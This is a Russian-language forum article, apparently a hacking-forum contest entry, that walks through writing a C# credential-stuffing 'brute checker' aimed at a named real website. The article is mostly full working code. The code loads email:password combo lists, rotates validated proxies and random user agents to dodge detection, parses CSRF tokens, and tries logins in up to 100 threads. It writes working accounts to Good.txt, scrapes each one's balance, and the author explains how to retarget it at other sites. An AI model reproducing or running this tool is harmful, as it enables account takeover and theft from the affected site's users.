Пишем брут чекер на c# net core

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор Marozka
Статья написана для
Конкурса статей #10


Почему именно c# net core а не Python? На вкус и цвет товарищей нет. Но мне привычнее имено c# так как можно сделать красивый визуал программы через c# WinForm или c# WPF
Во всем коде я сделал комментарии чтобы было более понятно.
Для примера напишем брут чекер на рандомный сайт https://smmbro.su/ не реклама
Писать будем на c# net core.
Первым делом установим необходимые библиотеки через NuGet
1. HtmlAgilityPack- Для парса токенов баланса и т.д
2. System.Net.Http для HTTP запросов (Авторизация и т.д) (Не обязательно устанавливать если пользуетесь VisualStudio то должен подтянуться сам)
3. System.Threading Много поточность (Не обязательно устанавливать если пользуетесь VisualStudio то должен подтянуться сам)

C#: Скопировать в буфер обмена
Код:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using HtmlAgilityPack;



Далее читаем файлы и запускаем в работу некоторые функции в static async Task Main(string[] args)
C#: Скопировать в буфер обмена
Код:
static async Task Main(string[] args)
    {
        string loginUrl = "https://smmbro.su/login";
        string loginPassFilePath = "LoginPass.txt";
        string proxyFilePath = "Proxy.txt";

        // Чтение данных из файлов
        string[] loginPassLines = File.ReadAllLines(loginPassFilePath);
        string[] proxyLines = File.ReadAllLines(proxyFilePath);

        Console.WriteLine($"Загружено строк из файла LoginPass.txt: {loginPassLines.Length}");
        Console.WriteLine($"Загружено строк из файла Proxy.txt: {proxyLines.Length}");

        // Проверка прокси на валидность
        List<string> validProxies = await ValidateProxiesAsync(proxyLines);
        Console.WriteLine($"Валидных прокси: {validProxies.Count}");

        if (validProxies.Count == 0)
        {
            Console.WriteLine("Нет валидных прокси. Программа завершена.");
            return;
        }

        // Обновляем файл Proxy.txt, оставляя только валидные прокси
        File.WriteAllLines(proxyFilePath, validProxies);

        int successCount = 0;
        int failCount = 0;

        // Определяем количество параллельных задач
        int maxDegreeOfParallelism = Math.Min(loginPassLines.Length, 100);
        SemaphoreSlim semaphore = new SemaphoreSlim(maxDegreeOfParallelism);

        List<Task> tasks = new List<Task>();

        foreach (string line in loginPassLines)
        {
            string[] parts = line.Split(':');
            if (parts.Length != 2)
            {
                Console.WriteLine($"Неверный формат строки: {line}");
                continue;
            }

            string email = parts[0];
            string password = parts[1];

            tasks.Add(Task.Run(async () =>
            {
                await semaphore.WaitAsync();

                try
                {
                    bool success = await TryLogin(email, password, loginUrl, validProxies);
                    if (success)
                    {
                        Interlocked.Increment(ref successCount);
                        File.AppendAllText("Good.txt", $"{email}:{password}\n");
                        Console.ForegroundColor = ConsoleColor.Green;
                        Console.WriteLine($"{email}:{password}  Баланс - {GetBalance(email, password, loginUrl, validProxies)}");
                        Console.ResetColor();
                    }
                    else
                    {
                        Interlocked.Increment(ref failCount);
                        File.AppendAllText("Bad.txt", $"{email}:{password}\n");
                        Console.ForegroundColor = ConsoleColor.Red;
                        Console.WriteLine($"{email}:{password}  Не удалось войти.");
                        Console.ResetColor();
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine($"Ошибка при обработке {email}:{password}: {ex.Message}");
                }
                finally
                {
                    semaphore.Release();
                }
            }));
        }




Добавляем несколько UserAgent для более корректной работы. и вызываем их рандомно для каждого действия авторизации.
C#: Скопировать в буфер обмена
Код:
    static string GetRandomUserAgent()
    {
        var userAgents = new List<string>
        {
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0",
            "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.77 Mobile/15E148 Safari/604.1",
            "Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/89.0"
        };

        Random random = new Random();
        return userAgents[random.Next(userAgents.Count)];
    }



Теперь парсим страницию входа для получения токенов (Токены это дополнительныя защита от сайта: Парсим HTML-код, чтобы найти токен
После чего: Подготавливаем данные для отправки формы.
В случае если успешный вход: Парсим HTML-код для проверки баланса
И сохраняем данные.
В коде так же есть проверка прокси на валид конкретно для данного сайта. Эту функцию можете удалить либо изменить строчку 188 на свои данные string testUrl = "https://smmbro.su/"; // Тестовый URL для проверки прокси



C#: Скопировать в буфер обмена
Код:
    static string GetBalance(string email, string password, string loginUrl, List<string> validProxies)
    {
        using (var client = new HttpClient(CreateHandlerWithProxy(validProxies)))
        {
            // Выбираем случайный User-Agent
            Random random = new Random();
            string userAgent = GetRandomUserAgent();
            client.DefaultRequestHeaders.Add("User-Agent", userAgent);

            // Получаем страницу с формой входа
            try
            {
                var response = client.GetAsync(loginUrl).Result;
                var content = response.Content.ReadAsStringAsync().Result;

                // Парсим HTML-код, чтобы найти токен
                var htmlDocument = new HtmlDocument();
                htmlDocument.LoadHtml(content);

                var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");
                if (tokenElement == null)
                {
                    return "Баланс не найден.";
                }

                string token = tokenElement.GetAttributeValue("value", "");

                // Подготавливаем данные для отправки формы
                string formData = $"_token={token}&email={email}&password={password}";

                // Отправляем POST-запрос для авторизации
                var loginResponse = client.PostAsync(loginUrl, new StringContent(formData, Encoding.UTF8, "application/x-www-form-urlencoded")).Result;
                var loginContent = loginResponse.Content.ReadAsStringAsync().Result;

                // Парсим HTML-код для проверки баланса
                var balanceDocument = new HtmlDocument();
                balanceDocument.LoadHtml(loginContent);

                var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
                if (balanceElement != null)
                {
                    return balanceElement.InnerText.Trim();
                }
                else
                {
                    return "Баланс не найден.";
                }
            }
            catch (HttpRequestException)
            {
                return "Баланс не найден.";
            }
            catch (Exception)
            {
                return "Баланс не найден.";
            }
        }
    }

В строчке 45 устанавливаем количество потоков.
Программа проверяет сколько строчек аккаунтов в файле LoginPass.txt и если менее 100 строчек то запускает столько потоков сколько строчек. Если более 100 строчек запускает работу в 100 потоков. Можете поставить свое значение.
int maxDegreeOfParallelism = Math.Min(loginPassLines.Length, 100);


В строчке 135 устанавливаем задержку перед парсом. Так как не всегда страница успевает прогрузиться во время. Можно уменьшить до 2х секунд
cts.CancelAfter(TimeSpan.FromSeconds(10));


Данную программу писал на заказ. Но за нее не заплатили. Поэтому пусть будет образовательный материал.

Весь код программы целиком​
C#: Скопировать в буфер обмена
Код:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using HtmlAgilityPack;


class Program
{
    static async Task Main(string[] args)
    {
        string loginUrl = "https://smmbro.su/login";
        string loginPassFilePath = "LoginPass.txt";
        string proxyFilePath = "Proxy.txt";

        // Чтение данных из файлов
        string[] loginPassLines = File.ReadAllLines(loginPassFilePath);
        string[] proxyLines = File.ReadAllLines(proxyFilePath);

        Console.WriteLine($"Загружено строк из файла LoginPass.txt: {loginPassLines.Length}");
        Console.WriteLine($"Загружено строк из файла Proxy.txt: {proxyLines.Length}");

        // Проверка прокси на валидность
        List<string> validProxies = await ValidateProxiesAsync(proxyLines);
        Console.WriteLine($"Валидных прокси: {validProxies.Count}");

        if (validProxies.Count == 0)
        {
            Console.WriteLine("Нет валидных прокси. Программа завершена.");
            return;
        }

        // Обновляем файл Proxy.txt, оставляя только валидные прокси
        File.WriteAllLines(proxyFilePath, validProxies);

        int successCount = 0;
        int failCount = 0;

        // Определяем количество параллельных задач
        int maxDegreeOfParallelism = Math.Min(loginPassLines.Length, 100);
        SemaphoreSlim semaphore = new SemaphoreSlim(maxDegreeOfParallelism);

        List<Task> tasks = new List<Task>();

        foreach (string line in loginPassLines)
        {
            string[] parts = line.Split(':');
            if (parts.Length != 2)
            {
                Console.WriteLine($"Неверный формат строки: {line}");
                continue;
            }

            string email = parts[0];
            string password = parts[1];

            tasks.Add(Task.Run(async () =>
            {
                await semaphore.WaitAsync();

                try
                {
                    bool success = await TryLogin(email, password, loginUrl, validProxies);
                    if (success)
                    {
                        Interlocked.Increment(ref successCount);
                        File.AppendAllText("Good.txt", $"{email}:{password}\n");
                        Console.ForegroundColor = ConsoleColor.Green;
                        Console.WriteLine($"{email}:{password}  Баланс - {GetBalance(email, password, loginUrl, validProxies)}");
                        Console.ResetColor();
                    }
                    else
                    {
                        Interlocked.Increment(ref failCount);
                        File.AppendAllText("Bad.txt", $"{email}:{password}\n");
                        Console.ForegroundColor = ConsoleColor.Red;
                        Console.WriteLine($"{email}:{password}  Не удалось войти.");
                        Console.ResetColor();
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine($"Ошибка при обработке {email}:{password}: {ex.Message}");
                }
                finally
                {
                    semaphore.Release();
                }
            }));
        }

        await Task.WhenAll(tasks);

        Console.WriteLine($"Успешно вошло: {successCount}");
        Console.WriteLine($"Не вошло: {failCount}");
    }

    static async Task<bool> TryLogin(string email, string password, string loginUrl, List<string> validProxies)
    {
        using (var client = new HttpClient(CreateHandlerWithProxy(validProxies)))
        {
            // Выбираем случайный User-Agent
            Random random = new Random();
            string userAgent = GetRandomUserAgent();
            client.DefaultRequestHeaders.Add("User-Agent", userAgent);

            // Получаем страницу с формой входа
            try
            {
                var response = await client.GetAsync(loginUrl);
                var content = await response.Content.ReadAsStringAsync();

                // Парсим HTML-код, чтобы найти токен
                var htmlDocument = new HtmlDocument();
                htmlDocument.LoadHtml(content);

                var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");
                if (tokenElement == null)
                {
                    return false;
                }

                string token = tokenElement.GetAttributeValue("value", "");

                // Подготавливаем данные для отправки формы
                string formData = $"_token={token}&email={email}&password={password}";

                // Создаем CancellationTokenSource для ожидания
                var cts = new CancellationTokenSource();
                cts.CancelAfter(TimeSpan.FromSeconds(10)); // Увеличиваем время ожидания до 10 секунд

                try
                {
                    // Отправляем POST-запрос для авторизации
                    var loginResponse = await client.PostAsync(loginUrl, new StringContent(formData, Encoding.UTF8, "application/x-www-form-urlencoded"), cts.Token);
                    var loginContent = await loginResponse.Content.ReadAsStringAsync();

                    // Проверяем успешность авторизации
                    if (loginResponse.IsSuccessStatusCode)
                    {
                        // Добавляем задержку перед проверкой баланса
                        await Task.Delay(2000); // Задержка в 2 секунды

                        // Парсим HTML-код для проверки баланса
                        var balanceDocument = new HtmlDocument();
                        balanceDocument.LoadHtml(loginContent);

                        var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
                        if (balanceElement != null)
                        {
                            return true;
                        }
                    }
                }
                catch (OperationCanceledException)
                {
                    return false;
                }
                catch (HttpRequestException)
                {
                    return false;
                }
                catch (Exception)
                {
                    return false;
                }
            }
            catch (HttpRequestException)
            {
                return false;
            }
            catch (Exception)
            {
                return false;
            }

            return false;
        }
    }

    static async Task<List<string>> ValidateProxiesAsync(string[] proxyLines)
    {
        string testUrl = "https://smmbro.su/"; // Тестовый URL для проверки прокси
        List<string> validProxies = new List<string>();

        // Определяем количество параллельных задач
        int maxDegreeOfParallelism = Math.Min(proxyLines.Length, 100);
        SemaphoreSlim semaphore = new SemaphoreSlim(maxDegreeOfParallelism);

        List<Task> tasks = new List<Task>();

        foreach (string proxyLine in proxyLines)
        {
            tasks.Add(Task.Run(async () =>
            {
                await semaphore.WaitAsync();

                try
                {
                    if (await IsProxyValid(proxyLine, testUrl))
                    {
                        validProxies.Add(proxyLine);
                        Console.ForegroundColor = ConsoleColor.Green;
                        Console.WriteLine($"Прокси {proxyLine} валиден.");
                        Console.ResetColor();
                    }
                    else
                    {
                        Console.ForegroundColor = ConsoleColor.Red;
                        Console.WriteLine($"Прокси {proxyLine} невалиден.");
                        Console.ResetColor();
                    }
                }
                catch (HttpRequestException)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine($"Прокси {proxyLine} невалиден.");
                    Console.ResetColor();
                }
                catch (Exception)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine($"Прокси {proxyLine} невалиден.");
                    Console.ResetColor();
                }
                finally
                {
                    semaphore.Release();
                }
            }));
        }

        await Task.WhenAll(tasks);

        return validProxies;
    }

    static async Task<bool> IsProxyValid(string proxyLine, string testUrl)
    {
        string[] proxyParts = proxyLine.Split(':');

        if (proxyParts.Length != 2)
        {
            return false;
        }

        string proxyIp = proxyParts[0];
        int proxyPort = int.Parse(proxyParts[1]);

        try
        {
            using (var client = new HttpClient(CreateHandlerWithProxy(new List<string> { proxyLine })))
            {
                var response = await client.GetAsync(testUrl);
                return response.IsSuccessStatusCode;
            }
        }
        catch (HttpRequestException)
        {
            return false;
        }
        catch (Exception)
        {
            return false;
        }
    }

    static HttpClientHandler CreateHandlerWithProxy(List<string> validProxies)
    {
        Random random = new Random();
        string proxyLine = validProxies[random.Next(validProxies.Count)];
        string[] proxyParts = proxyLine.Split(':');

        if (proxyParts.Length != 2)
        {
            throw new ArgumentException($"Invalid proxy format: {proxyLine}");
        }

        string proxyIp = proxyParts[0];
        int proxyPort = int.Parse(proxyParts[1]);

        var handler = new HttpClientHandler
        {
            Proxy = new WebProxy(new Uri($"http://{proxyIp}:{proxyPort}")),
            UseProxy = true
        };

        return handler;
    }

    static string GetRandomUserAgent()
    {
        var userAgents = new List<string>
        {
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0",
            "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.77 Mobile/15E148 Safari/604.1",
            "Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/89.0"
        };

        Random random = new Random();
        return userAgents[random.Next(userAgents.Count)];
    }

    static string GetBalance(string email, string password, string loginUrl, List<string> validProxies)
    {
        using (var client = new HttpClient(CreateHandlerWithProxy(validProxies)))
        {
            // Выбираем случайный User-Agent
            Random random = new Random();
            string userAgent = GetRandomUserAgent();
            client.DefaultRequestHeaders.Add("User-Agent", userAgent);

            // Получаем страницу с формой входа
            try
            {
                var response = client.GetAsync(loginUrl).Result;
                var content = response.Content.ReadAsStringAsync().Result;

                // Парсим HTML-код, чтобы найти токен
                var htmlDocument = new HtmlDocument();
                htmlDocument.LoadHtml(content);

                var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");
                if (tokenElement == null)
                {
                    return "Баланс не найден.";
                }

                string token = tokenElement.GetAttributeValue("value", "");

                // Подготавливаем данные для отправки формы
                string formData = $"_token={token}&email={email}&password={password}";

                // Отправляем POST-запрос для авторизации
                var loginResponse = client.PostAsync(loginUrl, new StringContent(formData, Encoding.UTF8, "application/x-www-form-urlencoded")).Result;
                var loginContent = loginResponse.Content.ReadAsStringAsync().Result;

                // Парсим HTML-код для проверки баланса
                var balanceDocument = new HtmlDocument();
                balanceDocument.LoadHtml(loginContent);

                var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
                if (balanceElement != null)
                {
                    return balanceElement.InnerText.Trim();
                }
                else
                {
                    return "Баланс не найден.";
                }
            }
            catch (HttpRequestException)
            {
                return "Баланс не найден.";
            }
            catch (Exception)
            {
                return "Баланс не найден.";
            }
        }
    }
}





Подведем итог. В большинстве случаев авторизация будет такая же как в примере. Единственное вам прийдется спарсить токен заново это меняется в строчке
var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");

Для парса баланса изменить строчку 153
var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
 
Сверху Снизу